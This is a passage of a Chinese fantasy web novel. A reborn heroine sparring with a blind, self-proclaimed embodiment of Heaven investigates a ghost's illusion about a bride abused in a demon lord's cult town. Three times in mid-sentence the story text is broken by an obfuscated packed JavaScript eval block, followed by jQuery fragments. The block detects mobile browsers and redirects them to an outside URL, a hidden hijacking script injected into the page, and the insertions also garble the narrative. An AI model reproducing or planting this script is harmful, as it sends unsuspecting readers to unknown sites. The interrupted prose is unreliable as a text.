他明显是带着气,形状完美的薄唇轻轻抿起,嘴角也略微向下,却无法反驳。 “如果你真的是天道,那你做的事,就是天意,”应宁乘胜追击,一连串儿地反问,“你想怎么做,就怎么做,何必去听那个明镜台的指使?就算你现在押送我回到瀛洲,你还要去一字一句阅读明镜的指示不成?你也知道,明镜上不会事无巨细地写满天下万物吧,那它不写的时候,我怎么知道要怎么做,你又怎么知道,我该做什么呢?如果你强行抓我回去,将我当做提线木偶,却没有明镜的提示,你又怎知我该走哪一步?如果每一步都像今天这样,你先走错了,明镜才来告诉你,那这个天道还有什么意义呢?” 白衣人真被她问住了,一动不动。 “这么说吧,”应宁一锤定音道,“假如明镜上的预言是假的,你还要按照它写的照做,那你也就是个被明镜左右的赝品!你还敢说你是天道,而非它是天道?” 白衣人久久无语,最终低声道:“明镜应当不会出错……” “天道有常,天道也不会出错,”应宁冷笑道,“那你现在为什么,会在这里抓我?” 白衣人完全咬饵上钩,甚至还向应宁问起了问题:“为什么?你为什么会在这里?为什么不回平邑?” 对啊,如果天道永远是对的,那为什么她没有按照天意赋闲在家,而是站在这里呢? “我也不知道我哪里逆天了,我只是路上体察民情,听说这里有问题才过来的,”应宁最后点题道,“不如你等等看,接下来会发生什么,再做定夺?” 白衣人松口道:“好吧。我在这里等到除夕过后,再带你回瀛洲,如果届时一切如你所言,归位天道,我就不再计较,但如果还是与明镜记载不符,你仍不听命,我就要亲自出手将你纠正了。” 应宁还想再说,他却已经察觉自己被应宁左右了情绪,提前抬扇道:“问题到此为止,我意已决。” “今天最后一个问题了,”应宁坚持道,“太守大人,你的称号太长了,你有名字吗?我可以给你取一个名字吗?” 他摇了摇头,答:“我有名无字,复姓南门,单名为春。” 应宁若有所思,道:“那以后,我叫你阿春好了。” 南门春又缓慢摇摇头,道:“你还是叫我南门吧,只有主人才叫我阿春。” 应宁惊讶道:“你还有主人?” 南门春的微笑已经明显僵硬了很多,提醒她道:“你已经问完最后一个问题了。” 4. 第 4 章 除完女鬼,按说应宁是要带走湘儿的。 她恐怕留下湘儿会生事端,但跟屁虫不同意。 “你提前过来取走神武,已经有违天道,再带走她岂不是错上加错?”南门春如是说。 应宁嫌他唠叨,也只能算了。 反正难容已经缠在了湘儿身上,化做透明丝线,以后湘儿若有动作,她还是能感受得到。 于是就他二人,牵马离了阳关。 南门春问道:“你说要等你师门,现在又要去哪?” 应宁烦道:“你也看见了,阳关这个破烂样子,我能去哪?当然是去萍水找个客栈落脚,难道你要住在阳关不成?我不拦你,但反正我是不愿的。” 萍水县挨着阳关,地方也不大,但怎么说也比阳关正常。 南门春一思索,点头同意了。 “不对,你能看见?”应宁继续试探道。 南门春却不再上套,只道:“去萍水吧。” 他一身雪白,若缩在阳关的黑泥洞里,想也是恶心够呛,更何况阳关似乎根本就没有客栈。 于是,二人在萍水一间最大的客栈定下了两件上房。 · 房费当然是应宁出的,看就知道,南门春全身上下连钱袋都没有,肯定不沾一丝铜臭,这点花销,她倒没什么异议,萍水最大的客栈,也就是三层小楼、青砖泥瓦而已。 反倒是南门春,意见很多。 他先是道:“我不需要睡眠,可以和你共住一间。” 应宁表示:“我需要睡眠,你和我住一间,我睡不着。” 南门春又道:“那有没有挨着的两间?” 应宁怒道:“这么几步路,你都不信我?” 南门春却毫无愧色,低声道:“你现在手持两把神武,我当然要更加提防你。” 店小二连忙跑过来打圆场,应下了南门春的要求,应宁则进屋摔门。 不过也确如南门春所言,她一进门就掏出神武,开始埋头研究起来。 上辈子她是用过难容,也就是如诸仙所说的,“窃取神女命格”时,但那毕竟只是一时的“窃取”,以后若要长久驾驭这件神武,还是需要多多研究,例如驱鬼之后,绣球样的剑坠儿里留下了一枚骰子样的东西。 她轻轻拨动绣球,红线就体贴地让出一条道来,让她探入手指进去,将这每骰子取了出来,握在掌心,骰子上唯一的黑点散发出淡淡魔气。 这东西似乎是个乾坤纳戒,能存储鬼魂。 神器多少都生有器灵,又有练器人的巧思在里面,会自己生成不同的形态很正常,但难容上辈子一开始被应宁师妹所得,并没有出现过这种东西,反倒是应宁那个师弟,以前就是赌徒出身,入魔后带走了难容,手里还经常扔着两枚骰子样的法器,名为“乾坤一掷”。 难道那东西,居然是由难容炼化出来的? 应宁将骰子握在手中,心道,可上辈子,那师弟堕魔后修的也不是鬼道,这东西于她有何作用,还是得她自己探明。 女鬼的鬼身不过筑基修为,被难容熔化轻而易举,可被天道那个绊脚石给拦住,导致湘儿还留在阳关,此事远远没有完结,若想避免上一世皇宫的惨剧,还急需继续精进鬼力。 对手是仙、是魔、是天道。 凡人纵有神武在手,如何抗衡? 鬼道纵有半步化神的境界,鬼力却是实打实要靠香火堆起来的,更何况活人修鬼道,实属前无古“人”,后无来者,要如何精进? 应宁一生行善,在人间素有美名,香火还真有不少,但活人怎么取用? 鬼道本就虚无缥缈,世间能成鬼身的一共才多少,哪能处处闹鬼,都给应宁捉来用呢?况且鬼力也要香火维持,鬼被驱了,信徒一散,哪还来得后续香火? 如今之计,只能是先暂用这收服的女鬼试试,再想办法多捉点其他鬼来用用了。 这晚,应宁熬至深夜,连入睡都一手抱着那把锈死的宝剑,一手死死攥紧骰子。 难容似乎是怕弄脏她,以红线将那剑身缠得更满了,仿佛给它套了一只毛线套。 · 夜半时,应宁被拍门声给吵醒了。 “应有语!应宁!” 门外的男声越来越急促,一开始还在用扇骨敲门,后面就改为用拳。 但应宁睡得正沉,猛一清醒,嗓子沙哑不说,头还昏昏沉沉,全身因这两日骑马疲惫不已,腰腹还有一阵带着垂坠感的酸痛,刚一张口,还有些发不出声音。 南门春似乎是听到了她这一声,更焦急了,直接一阵风般,破门而入。 应宁算是彻底醒了。 “你做什么?”她无力地问道。 南门春则一步迈到她床边,直问道:“你又在做什么?我听见你流了好多血!” 还好自重生后,应宁都是合衣而眠,今夜也只潦草盖了半身被子,不至于太过尴尬。 她支起身,无奈道:“我来了月信。” 南门春于是沉默了。 应宁也沉默半晌,才道:“还有别的事吗?” 南门春仍是一言不发,一动不动,应宁看不见他白纱下的双眼,也分不清什么神色。 “那你可以出去了吗?”她又催问。 南门春这才迅速走了。 · 第二日,应宁睡到了中午,才叫人打水,简单洗了个澡,揽镜改动完容貌,才下楼去吃饭。 她点了两个当地的特色小菜,南门春不用她请,自己就主动跟了下了来,坐在她旁边的座位,仿佛昨晚什么都没发生过。 应宁并不理他,只跟店家闲聊,问道:“您知道阳关怎么走吗?” 南门春却很关心她,一听就不解地朝她问道:“你明知道路,为何要问?” 应宁想在桌下踩他一脚,又怕他问“你为什么踩我”,只得道:“我是知道,但是没找到啊!” “哎呦,”店家道是,“那您可找对人了,阳关是小地方,道确实难走又很难找,但恰好就在咱们后门,顺着小路一直走,遇见岔路别拐就到了。您要是去阳关啊,咱们小店还单独给您赠送一束牡丹花,方便您过去朝圣。” “朝什么圣?”应宁却道,“我只是过去祭奠朋友,带束菊花就好。” 南门春听到这里,又不解地朝向应宁。 “你在阳关还有朋友?我记得你小时候说,你是土生土长的平邑人。” 应宁终于转头看向他,面无表情道:“那都是多少年前的事了?这些年我随师门行走天下,到处行侠仗义,九州四海遍地是朋友,你又知道什么?你不说话,大家也只会当你是瞎子,不会以为你是哑巴的。” “原来如此。”南门春点点头,不再多话。 “平邑人啊……”店主笑笑,走了。 “京城人可能是不知道,”店小二过来上菜,同应宁讲解道,“阳关已经算是半个魔尊的地盘了。我们这地界,供奉馨烈侯的没几个,但传芳君的信徒可就多了去了。” “哈哈哈,”隔壁桌的食客也笑着搭话,“馨烈侯早就死了!现在京城供奉的是什么玩意来着?也是叫个什么仙尊,哼,没听说过有什么本事。” 这话由凡人来说,也是够大不敬的。 还有人附和:“叫不秋仙尊,说是馨烈侯的徒弟,呵呵。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504340|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “连他师父都是传芳君的手下败将,更何况他?江河日下啊……” 不秋仙尊,就是应宁的师尊。 不仅在平邑,供奉不秋仙尊的道观就有大大小小四百八十之多,九州四海更是数不胜数,想不到萍水的这小小客栈中,竟有这么多人如此口无遮拦,大肆贬损于他。 “就这个不秋仙尊吧,事儿没听说他办过几件,庙却盖了不少,”还有人道,“要我说,给活人盖庙,本来就是粉饰太平,他也不怕折寿!” 众人纷纷大笑起来。 应宁诚恳问道:“各位大哥,恕我愚昧,我在平邑听说的故事,都是馨烈侯与传芳君同归于尽,怎么听今日所言,倒像是传芳君仍然在世的样子?” “这你就不懂了吧,”有人指点她道,“魔修中有一条极为了不起的道,那就是鬼道。装神弄鬼,鬼使神差,‘鬼’‘神’向来都是相提并论的,与神同寿,不死不灭,传芳君既为魔尊,肯定精通此道,灵魂不灭,那就没有什么同归于尽的说法,早晚会卷土重来。” 还有人直接道:“阳关,现在就是我们君主的小道场,我们凡人不敢入魔界,只消在阳关供奉他,死后就能得永生!” 应宁听得连连点头,恍然大悟道:“怪不得我那朋友要修鬼道。” 一位形容猥琐的男人探过头来,冲她挤眉弄眼,道:“这位仙子,我猜,你那朋友也是个美女吧?” 应宁早就简单几口吃完了饭,此时随手带上幕离,隔绝了那男人的视线。 “正是,怎么?”她问,“这你怎么猜到的?” “哈,”那男人打了个酒嗝,收回身子,道,“传芳君美风姿,冠绝天下,艳压群芳,可是个千载难逢的美男子啊!就是潘安再世也要自惭形秽,女信徒当然多了去了。” 应宁道:“但平邑也有不少不秋仙尊的画像、雕像,也是个美男子。” 众人又哄笑起来。 “他?传芳君堪比国宴,一眼够人回味一生的,他就是碟清粥小菜。” “我在第一关也看过那个什么不秋仙尊,跟个女人一样,风吹就倒,那也叫个男人?” “不秋仙尊修的是无情道,不解风情,传芳君可是出了名的怜香惜玉,座下美女如云,你也是个女人,你说你选哪个?” 店小二很有眼力见,见应宁如此好奇传芳君的故事,这就递上来一束牡丹,同她道:“仙子要是做不出决断,去阳关见了传芳君的画像,一见便知。” 应宁“呵呵”一笑,推拒道:“我还是选我身边这个吧。” 南门春竟误打误撞,终于说了句与她配合的话,道:“你若当真选我,就应当立刻同我回去。” 众人闻言,打量起她身边的南门春,又纷纷开始评价。 “美则美矣,可惜美玉蒙尘。” “你这位若不看眼睛,确实要比不秋仙尊英俊潇洒,但你这么年轻漂亮,全把媚眼抛给个瞎子看了,未免太过可惜。” 还有人打趣道:“传芳君的美名,男女通吃,你也幸好是找了个瞎子,不然你们这一趟同去,说不定就不同归了。” 应宁被逗得笑了许久,才撩开幕离,美目盼兮,一一扫过店内的各位食客,道:“那我可不愿意一个人回来,各位大哥,还有没有哪个愿意与我一起同去阳关的呀?” 这一次,竟无人搭话了。 众人又纷纷低下头,各吃各的。 小儿讪讪道:“大家都忙着,仙子还要不要加点什么菜?” 应宁并不强迫,只一笑点头,重新放下幕离,走上楼。 唯有南门春跟在她身后,道:“我还是要与你同去的。” 5. 第 5 章 南门春跟在应宁身后,追问:“你打算什么时候再去阳关?不是说好要到月底,等你师门来了再说吗?” 这个傻子,连应宁是在套话都分不清。 天道?就他? 应宁懒得同他解释,直接回房,他却也跟着进了应宁的房间,毫不客气,还记得随手关上了门。 应宁只得一边收拾行李,一边告诉他:“我明天就走,但不是去阳关,而是要在这里换个客栈。” 南门春仍劝阻:“你最好不要再有别的多余动作。” “什么是多余?”应宁压下怒火,质问他道,“你还没听出来吗?萍水的人也有问题,他们分明知道阳关是不能去的,却劝我去,你是真没发现吗?这楼里除我以外,一个女人都没有,她们都去哪了?” 南门春自然是发现了。 他犹豫地点了下头,道:“我知道……乃至这整个镇子,也没有几个女人,但你现在本来就不该在萍水,继续贸然插手,有违天意,还是等你师门来了再说吧。” “天意天意,”应宁逼问他道,“多耽误一天,就可能多死一人,这也是你的意思吗?” 南门春自认有理有据,道:“天意自有道理,说不定你先动一步,后续会引发更大的问题。” 这句话,他说得仍旧平缓,却如重重一拳,砸在应宁的太阳穴上。 …… “应有语也是活该,若非她窃取神女命数,欺骗那魔头的感情在先,魔头怎会迁怒人界?” “归根到底,都是这个贱人的错,我呸!” …… 应宁脑内“嗡”得一声,感到一阵剧痛。 她身形一软,要往下倒。 南门春向前递过扇子,示意她扶住,却被她一手挥开,向后踉跄几步,扶在桌边。 应宁揉了一会眉头,才低声道:“好。我知道了。你先走吧,我要休息了。” 可能天意也觉得,一切都是她的错吧。 · 这一夜,又是到了夜半时分,南门春捏着扇子,再次站在了应宁门前敲门。 “应有语!你再不答应,我真的进去了!” 这次不再是血了,而是魔气,缠绕住了熟睡的应宁。 南门春有了昨夜之鉴,话虽已出口,却仍迟迟不敢进门。 他低下头,魔气已迅速充满整个房间,从门缝里溢了出来,触到他脚下之后,如沼泽一般缠住了他的靴子,将他用力向下拽去。 南门春想到应宁也已被魔气吞没,便没有挣扎,直接被魔气一拖到底,坠入了一片全黑的深潭之中。 这里没有空气,也没有声音。 他静等了一炷香的功夫,尝试开口发声,却被黑气涌入口中,只得呼气以风顶出,再摆动双腿,在潭水中划起水来。 只是他向记忆里的方向划了许久,又转向四面八方都游了一圈,还是见不到应宁。 如果是凡人,此时已窒息而死。仙者也是需要呼吸的,这么久还没有机会换气,下品修士也快力竭了,但南门春不是一般仙者,见便寻应宁不得,就沉下脸来,浮在水中,以右手如玉的拇指、食指、中指三指一撵,将扇子打开了一档见宽的缝隙,不过露出了扇面上两条折痕、约一寸长的沿边,在左手掌心轻敲了一下。 霎时间,一阵狂风将这片黑色潭水全部卷起倒飞上天! “!” 应宁终于出现了,她似乎已经窒息,此时才猛得深吸了一口气,而后翻身半坐在满是污泥的床铺上,剧烈咳嗽起来。 “这是哪里?”她全身湿透,边咳边问,“怎么回事?” 南门春从空中轻盈落地,迈过被潭水浸塌了的门板,却全身滴水不沾,向她缓步走来。 他将扇子完全合上,向前一递,示意应宁扶住。 这一次,应宁没有挥开他的帮助,狼狈地握住扇子,被他稳稳拖着站了起来。 她顺着扇子,向上仔细看去,发现南门春虽然四肢纤长,看着文质彬彬,持扇的手腕却稳如泰山,仿佛有天生神力。 “应当是那个女鬼,又吃了什么人的供奉,回来找你复仇了。”南门春待她站稳后,以扇子在她肩膀上轻轻一敲,就将她满身的潭水和淤泥都散了个干燥,道,“这里还是萍水,就是你入睡前的那间房间。” 应宁四下打量,道:“不对,这与萍水完全不一样,而且现在是腊月,人间这个时候怎么会突然下起暴雨?” 这里的墙体不是萍水常见的青砖,而是类似阳关的泥土,房屋面积小了许多,满屋都是黑泥,窗户也已被水泡断,窗外正如瀑布般倒灌着黑色潭水。 “她用云梦泽的水布下迷障,被我强行破开了,”南门春答道,“这里建筑虽略有不同,地势、构造却一模一样,应当也是她设下的障眼法,但能力有限,最多只能改变建筑。” 从被困、到脱困,再到出水后走的这几步路,南门春没回过一次头,也没歪过一次头,却已经准确判断出了这里的位置。如此看来,应宁心道,他会如视力正常的普通人一样,偶尔对自己说话时就歪头朝向自己,也不过是习惯模仿正常人。 应宁看着窗外,眯起双眼,挑衅道:“你连人话都听不懂,却能破开迷障?不会也只是像我一样,依靠什么傍身兵器吧?” 南门春皱眉,为自己正名:“我能听懂人话,我说了我即天道,这种雕虫小技,一眼便能破解,我还不至于着相。” 这厮的回答避重就轻,已经不似昨天那样傻了。 应宁“哼”了一声,这才握紧腰上缠着难容的黑剑,问起正事:“我应该已经将她驱散了,怎么会这么快就卷土重来?” 南门春朝她转了下头,许是察觉到她握剑的动作,答:“说不定就是难容的问题,它毕竟是魔尊神武,你一个凡人女子,可能驾驭不当。” 应宁先是一愣,而后冷笑一声,反问他道:“凡人女子?你的意思是,我一个凡人,不配用神武,还是我一个女子,不配用神武?” 南门春本来还向窗边走着,闻言停住步伐,才道:“我的意思是,你最近身体状态并不适合作战。” 仙门女子若能修成金丹,也就不会再来月信了,但应宁是个凡人,大半辈子都要承受这样每月一次的折磨,这是事实,南门春会出此言,倒也不是他歧视凡人或者女子,应宁却也反笑出声。 原来他想说的是,应宁这两天在来月事,状态不好。 “南门公子,”她心头又上一计,故意恨恨道,“你是不是没有人界的常识?” 南门春无辜道:“我有。” 应宁又道:“那你怎么能在一个未出阁的女儿面前如此口无遮拦?昨夜的事我没有怪你,也就当它过去了,今日你还重提,再来羞辱我,难道这就你与人相处的常识?” 这换做是一般女子,早就勃然大怒,亦或是羞愧难当了。 不过应宁也不是一般女子,她还在用余光悄悄打量着南门春右手的折扇。 南门春用拇指摩挲着折扇外侧的白玉大骨,半晌才茫然道:“我没有羞辱你。” “那我问你,”应宁走到他身边,低声咬牙切齿道,“你昨晚说听到我流血,是怎么知道听出来的,难道血流声与水流声还各有不同?而且就算有血流声,你又是怎么听到我流血的,我就不信,你的耳力能好到这种程度,难道你一直控制着我周身的每一寸风不成?” 南门春正要答“当然不同,血是粘稠的,而水相对清澈”,却突然卡住了。 身为天道,他通晓有关人类的所有知识。 女人身上的水,不都是质地清爽的。 尤其是那个位置…… 他确实是以风替代视觉和听觉的。风吹拂过万物,就有如一双无形的手抚摸过万物,感知形状、动态,发声时的振动。只要风的幅度够轻,就不会有任何人察觉;只要有气在流通,他就对一切了如指掌。 这对南门春来说是常识,是他接触这大千世界的最基本方式,就像常人用眼看、用耳听一样,无可厚非,但经应宁这么一说,却显得格外不对劲了。 常人哪怕监视犯人,也不会让女犯人脱、光了,再去看、去听、甚至以灵力的形式去感受乃至近似抚摸对方啊! 这不是羞辱,是什么? 方才应宁的话,还令南门春觉得奇怪,似乎他所认识的应宁不拘小节,不会在这种危机中争执,尤其是男女大妨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504341|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问题,更遑论什么“未出阁的女儿”这种说法了,但此时他却懂了。 如果真是凡人,他恐怕要汗如雨下。 “我……”南门春当机立断,道,“抱歉,殿下,此事确实是我做得不妥,但我绝无冒犯之意。” 他第一次对应宁用了尊称。 应宁却并不买账。 “道歉的人会说‘但是’吗?分明就是狡辩,”应宁嘟囔着,“看着人模狗样的,谁知道内里是不是什么伪君子。” 南门春只好解释道:“我从生来就眼不视物、耳不闻声,完全以风为媒介接触三界万物,监视殿下时没有考虑过殿下是人,需守人界的规矩,还请殿下恕罪。” 果然,与应宁猜测的一样,他不只是瞎子,还是聋子。 聋则哑,常人听不见声音,自然也就不会说话,但对修仙之人不能以常理揣测,一得知他的灵根是风,应宁就开始怀疑他自身的听力也有问题了。 她唯独没想到,真正相处起来后,南门春居然是这副模样,跟人道歉的时候,说“对不起,我忘了你是人”,也真够不是人的,与应宁小时候想象的谦谦君子完全不同。 应宁继续佯装发怒,挑眉问道:“我若不恕你罪呢?” 南门春坦然道:“也没有什么影响。” 应宁无语凝噎。 两人在沉默中看雨,各有所思。 那被卷飞的潭水疑似银河落九天,简直无穷无尽,应宁看了一会,终于打破沉默,再次套话道:“这就是你的破阵之法吗?” 南门春答:“一力降十会。天下迷阵,唯力不破。” 应宁又问:“那你是把整个云梦大泽都卷起来了吗?” 南门春答:“半个而已。” 云梦泽之所以叫天下之匙,是因为它几乎包含了整个人间的内水,又占整个人界三分有二的领土,比人类活动的地盘还要大。 而掀翻半个大泽,人界三分之一的地界,只需要打开他折扇的一档。 应宁心中一沉,嘴上却嘲讽道:“你不是说雕虫小技吗?” “我想顺势捉住那女鬼,又怕你死了,这是最快的办法了,”南门春眉头拧死,道,“可即使如此,还是没有捉住她。” 按说那女鬼有通天之能,也不可能一瞬间穿过半个云梦泽。 “你会在意我死活?”应宁不以为意地嗤笑一声,握住腰间的剑,向门外走去,准备搜鬼,“看来她没藏在水里。” 门外,原本位于第三层的房间,变作了一层,而整栋客栈也只剩下了这一层而已。 南门春紧随其后,道:“明镜有言,三界命数系于你一身之上,我当然关心你的死活。” 那上辈子,自己死的时候,他又在哪里? 应宁随口问道:“死了如何,活了又如何?” “活着,顺天而为;死时,顺天赴死,”南门春的答案毫无新意,不过在末尾加了一句自以为十分妥帖的问询,“你觉得如何?” 不如何。 应宁没出声,走向客栈店主所住方向的房间,抬手想要敲门,难容却像个狗腿的侍从,提前从剑柄上伸长,飞出一截红线,直接一鞭甩在门上,把门破开了。 门内没有黑气。 这里的迷阵较水里更为精妙,又不是在无人的水里,南门春不敢再强行以悍然的灵力破开,只能跟应宁一起探寻。 “你还有没有别的破阵之法?”应宁迈入屋内,打量着问。 这店主的房子也很小,放着一张床和一张方桌,桌子上方的壁龛里供着一副堆满牡丹花的画像,只看得出是个极高的男人身量,脸却模糊不清,旁边又有一扇门,想必也就通向这房内仅剩的房间了。 南门春持扇划过屋内方桌桌面,卡在一只竹篮前停住,道:“要攻破阵眼。阵眼都藏在谜底,需要先参透她这迷阵用意。等她出来,或者引她出来。” “嗯,”应宁从那竹篮中抽出了一朵鲜红的牡丹,道,“我选择引她出来。” 应宁显然不是等着的性格,捏起牡丹的瞬间,屋外就传出了一声响动。 一个陌生而苍老的男声笑着问道: “新娘子,打扮好了吗?” 6. 第 6 章 “新娘子,打扮好了吗?” 这句话一响起来,靠近门口的南门春就向外转过头去,应宁也迈出门口,却见走廊里空荡荡的,没有人。 应宁又重新回到房间,见南门春用扇子挑开床帐,床上放着一身鲜红的嫁衣。 她正想去拿,却被抢了先。 南门春用扇子挑起嫁衣,自己穿上了。 嫁衣是女式的,穿在他身上明显小了太多,但好在虽然面料劣质、绣工粗犷,裁量却够宽松,只是被他穿成了紧身,下摆也短了一截,露出一双雪白的靴子。 套完衣服后,他又从竹篮里捻起一支牡丹,随手插在扇子的折缝中,拿了红盖头盖上,外面才再次响起那句话: “新娘子,打扮好了吗?” 应宁跟在他身后,走出门去。 楼道里出现了一个苍老的男人,衣着破烂,满面笑容,眼神猥琐地盯着“新娘子”不放,对应宁则视若无睹,双手交握搓了搓掌心,道:“都打扮好了,就快上花轿吧。” 应宁看着这似人似鬼的东西,竭力给自己壮胆。 看久了,反而没那么怕了。 还觉得有些眼熟——这老男人与他们所住的萍水客栈店长很像,很可能就是一家子。 他们走到小客栈的门口,一顶破轿子停在哪里,有如破烂棺材大小,红布的颜色艳俗,跟那嫁衣类似。 应宁站在南门春身旁,随他停下步子。 南门春还顶着那红盖头,盖头底下却突然传出一个女声,问道:“传芳君……他真的愿意娶我吗?” 应宁吓了一跳,后退一步,却见南门春轻轻摇了摇头。 估计是在暗示她,这句话不是他说的。 应宁心中稍定,又见那老男人道:“你这么漂亮,传芳君又是出了名的怜香惜玉,他怎么会不愿意呢?” “哎……”盖头下的少女道,“我、我心里没底,要么还是回去算了?” 这声音十分怯懦,与女鬼相差极大,应宁却绝对不会听错,绝对就是那个上辈子杀了她全家的女鬼本音。 那老男人骤然变脸,笑意全无,恐吓道:“你现在走,我们筹给你的彩礼怎么办?” 少女慌张道:“什、什么彩礼?我把刀当了,已经出过一份彩礼了呀?” 老男人冷嘲道:“你那把破刀才值几个钱?不凑够几十箱子的彩礼,你以为传芳君会看你一眼吗?” 少女颤声道:“不会的……你们不是说了,传芳君他、他最是怜香惜玉……” 老男人又恢复笑容,只是换做嘲笑,道:“全天下有多少美女想嫁给传芳君,你算老几?你比得上仙界的神女吗?你比得上人间的女皇、公主吗?你比得上武林第一美人吗?你连隔壁县的小尼姑都比不过,再不添几台嫁妆,传芳君怎可能会看上你?” 听完这话,应宁已动了杀心,握紧腰上剑柄,难容也一圈圈飞起,缠住她掌心缩紧。 “快走吧!”老男人软硬兼施,最后催促道,“嫁妆都拉到阳关了,你再不去,就换别人来。” 少女再没回复,不发一言,撩开了花轿帘。 但南门春握着扇子的右手一摆,示意让应宁先上。 轿子里太窄了,应宁本就高挑,弯腰钻进去后,只得坐下,而南门春更比应宁高了一头,肩宽腿长,再挤进来,完全没有任何空隙。 南门春只得曲着腿,同时弯着腰,整个后背都贴在轿子顶上,红盖头滑了下来。 应宁接住盖头,抬眼一看,两张脸的距离已经极近了。 花轿起。 应宁一个晃荡,几乎要撞到南门春的脸上,好在被他用扇子扶住了。 可以用灵力起风稳住二人,但他选择了用扇子,说明对此前应宁抛出的指责,他还是听进去了不少的,不敢再用风去肆无忌惮地“触碰”她了,应宁暗自点头,在这样的距离下,又多看了他几眼。 应宁自身肤色极其白皙,如梨花般温润,见之似赏春,令人心情一暖,是难得的好皮囊,但与南门春一比,确有些凡人的“人气儿”在里面,只因南门春的白像雪一样带着冷气,越是离他近,越觉得这股“仙气儿”逼人,令人手脚冰凉,浑身发抖,皮相精致到像是个伪装成人的雕像。 平日他都穿白,全身上下白得交相辉映,令人看着就要晕雪,不敢直视,但现在穿了红的,又是在红轿子里,硬生生给那张脸映上了一丝血气,白纱下隐隐约约透出了他的眼睛,形状姣好,是紧闭着的。 “若真是你来做这个新娘子,”应宁嘲道,“或许比得过隔壁的小尼姑,传芳君再世当娶之。” 南门春并不恼怒,之回以淡淡一笑,霎时如春雪消融。 “他还享不起这个福分。” 够狂的。 可由他来说,确实有这个资本。 轿子摇晃两下,南门春怕应宁再有摇晃,干脆在她面前跪了下来。 仙不跪凡,这还是应宁第一次受修仙者一跪。 南门春似乎并不在意,就这么一直跪了一路,直到轿子停在了阳关。 “新娘子,”这回换了一个老男人的声音,笑着道,“下轿子喽。” 还有几个男人一起发出了哄笑声。 “再不下轿子,就要闹洞房了!” “怎么了,害羞了?” “别装了婊、子,赶紧下来!” 南门春眉头紧锁,正要挑开帘子,却被嫁衣束缚住了动作。 很显然,是穿着嫁衣的少女不敢下轿子了。 “磨磨蹭蹭,我来!”一个男人急迫道,“她的刀都当了,你们还怕个屁,一帮怂货!” 那男人的手从轿帘外探进来,直接拽住少女的手腕,将她拉扯了出去。 应宁跟在少女身后下轿子,见她被一帮男人团团围住,拖向一间黑洞洞的小房子里,登时出离愤怒,额头鼓起青筋,右手强行握住少女的手腕,硬生生从那男人手中夺了回来! 那怒气如火,一把烧上心头,纵使这幻境实则是由她自己一手唤起的陷阱,纵使已经猜到后面会发生何事,纵使明知无用,此情此景……泼天暴雨也难浇此恨! “尔敢伤她!” 她怒喝一声,左手持剑,横在二人身前,一剑横出烈烈剑风,吹乱了几缕发丝。 难容瞬间散做漫天红线,环绕住二人。 南门春愣了一下,用另一手持扇,轻按在她手腕上,道:“没用的。” 只见南门春还停在原地,那嫁衣却仍被握在那带头的男人手中,如幻影般从他身上剥离出来,飘进了那间小黑屋里。这原只是片幻境,一切照女鬼的安排发生,既已成往事,无法被改变。 后面会如何,南门春也能猜到了。 应宁与南门春一起站在轿子前面,看着眼前的门被关死,做了两次深呼吸,才能勉强开口讲话。 “这个地方,应该就是阵眼了吧?”她道,“那女鬼纠缠我的目的,应当就是让我杀了这些人,为她复仇。” 南门春却缓缓摇头,道:“不对。” 应宁不耐烦地催促道:“既然已经找到阵眼就赶紧破阵,何必去想那么多无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504342|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关紧要的东西?” “人死后想要化鬼,一要有怨,二要有念,”南门春仍自顾自道,“这个女鬼最大的执念不是复仇,如果是的话,她一开始就会向你提出这个要求,你若答应了,也不会在阳关驱散她。” 想说他傻,有时候他又聪明得可怕。 应宁叹了口气,答:“怎么不是?我最早就是受她托梦,才向人打听起这件事,进而来到阳关的,驱散她不过是怕她以后作祟人间,能帮她报的仇,该杀的恶人,我也必不能放过。” “托梦?”南门春还是疑惑道,“可她明知道你应当晚一步才会来阳关,为什么要逆天而行?” 这一切都是矛盾的。 “此事还有蹊跷,”南门春决定道,“阵眼另有所在,我们还要再等下去。” 应宁无奈,只得陪他接着看。 再后面的事情,她已经猜得差不多了。 幻境缩短了距离,也加速了时间,那黑洞洞的房子里不断有男人来来去去,还先后抱出了几个婴儿,最后,当初带头的男人拎出来一条已经破烂的红嫁衣,丢进了云梦泽的河水里。 嫁衣在水中一路向下沉去。 既然要看完,应宁就毫不犹豫地纵身跳入水中。 南门春站在岸上,沉思着没有动作,不需要“看”,只要这水里还有气体流动,他就能感知到。 几缕断断续续的红线从云梦泽深处流出,渐渐缠绕住那破烂嫁衣,重新织起裙摆,将它补了个七七八八。 原来竟然是难容主动找到的女鬼,而非是女鬼找到的神器! 只是那几根丝线太短,寻不到源头,嫁衣在水中沉浮了一段时间,没有寻到难容,就逐渐幻化出了女鬼的模样,向岸上飘去。 